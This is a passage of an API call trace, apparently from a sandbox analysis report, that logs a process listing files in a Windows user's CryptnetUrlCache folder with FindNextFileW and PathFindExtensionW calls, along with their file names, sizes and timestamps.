HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6") returned="" [0061.724] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd0e4c510, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x1fa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7B2238AACCEDC3F1FFE8E7EB5F575EC9", cAlternateFileName="7B2238~1")) returned 1 [0061.724] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned="" [0061.724] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b2324c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b2324c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b2324c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x67c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D", cAlternateFileName="7B8944~1")) returned 1 [0061.724] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D") returned="" [0061.724] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b199f40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b199f40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b199f40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6", cAlternateFileName="7D266D~2")) returned 1 [0061.724] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6") returned="" [0061.724] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefaf7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefaf7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaec313e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD", cAlternateFileName="7D266D~1")) returned 1 [0061.724] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD") returned="" [0061.725] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6056b480, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6056b480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1ef687a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0", cAlternateFileName="8059E9~3")) returned 1 [0061.725] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0") returned="" [0061.725] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61210960, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61210960, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaecc9960, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E", cAlternateFileName="80273C~1")) returned 1 [0061.725] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E") returned="" [0061.725] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x58e24200, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x58e24200, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9f5f40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1", cAlternateFileName="8059E9~2")) returned 1 [0061.725] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1") returned="" [0061.725] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61236ac0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61236ac0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x3b0b01a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E", cAlternateFileName="809279~1")) returned 1 [0061.725] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E") returned="" [0061.725] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x58394060, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x58394060, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f739c0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4", cAlternateFileName="8059E9~1")) returned 1 [0061.725] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4") returned="" [0061.725] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x62378a40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62378a40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9a9c80, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778", cAlternateFileName="80E4BE~1")) returned 1 [0061.725] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778") returned="" [0061.725] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x613675c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x613675c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69bba4a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED", cAlternateFileName="803B9E~1")) returned 1 [0061.725] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED") returned="" [0061.725] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x63c50fe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63c50fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb100bf40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E", cAlternateFileName="803D37~1")) returned 1 [0061.725] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E") returned="" [0061.725] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61021780, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61021780, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb1058200, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30", cAlternateFileName="8059E9~4")) returned 1 [0061.725] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30") returned="" [0061.725] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x636a9ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x636a9ba0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb139e040, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", cAlternateFileName="800D31~1")) returned 1 [0061.726] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB") returned="" [0061.726] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x581f7ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x581f7ea0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f4d860, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56", cAlternateFileName="828298~1")) returned 1 [0061.726] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56") returned="" [0061.726] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xec3c5340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec3c5340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xb16257a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F", cAlternateFileName="8828F3~1")) returned 1 [0061.726] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F") returned="" [0061.726] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x8064ac00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x8064ac00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80670d60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416", cAlternateFileName="8828F3~2")) returned 1 [0061.726] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416") returned="" [0061.726] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6aa2c0a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6aa2c0a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xadf19ae0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61", cAlternateFileName="8E4E51~1")) returned 1 [0061.726] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61") returned="" [0061.726] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbddd270, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0xd2da, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="94308059B57B3142E455B38A6EB92015", cAlternateFileName="943080~1")) returned 1 [0061.726] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015") returned="" [0061.726] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6a83cec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a83cec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaebe5120, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x5e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9", cAlternateFileName="955CAB~1")) returned 1 [0061.726] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9") returned="" [0061.726] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf3f73d0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf3f73d0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf3f73d0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ab, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6", cAlternateFileName="9BC2FF~1")) returned 1 [0061.726] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6") returned="" [0061.726] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe06277d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe06277d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xb15d94e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E", cAlternateFileName="9C888B~1")) returned 1 [0061.726] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E") returned="" [0061.727] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe07ca6f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe07ca6f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x965accc0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061", cAlternateFileName="9C888B~2")) returned 1 [0061.727] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061") returned="" [0061.727] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54bc3730, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54bc3730, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb11d4fc0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450", cAlternateFileName="A9E4F7~1")) returned 1 [0061.727] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450") returned="" [0061.727] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bfe570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bfe570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe9b34f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ee, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001", cAlternateFileName="ACF244~1")) returned 1 [0061.727] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001") returned="" [0061.727] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe04aaa10, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe04aaa10, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xae4e7080, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852", cAlternateFileName="B3BB9C~2")) returned 1 [0061.727] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852") returned="" [0061.727] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefc01b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefc01b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaa4ee1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8", cAlternateFileName="B3BB9C~1")) returned 1 [0061.727] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8") returned="" [0061.727] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54322770, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54322770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150", cAlternateFileName="BC570E~2")) returned 1 [0061.727] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150") returned="" [0061.727] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC", cAlternateFileName="BC570E~1")) returned 1 [0061.727] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC") returned="" [0061.727] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x56bb3b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x56bb3b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaeca3800, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873", cAlternateFileName="C46E7B~2")) returned 1 [0061.727] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS 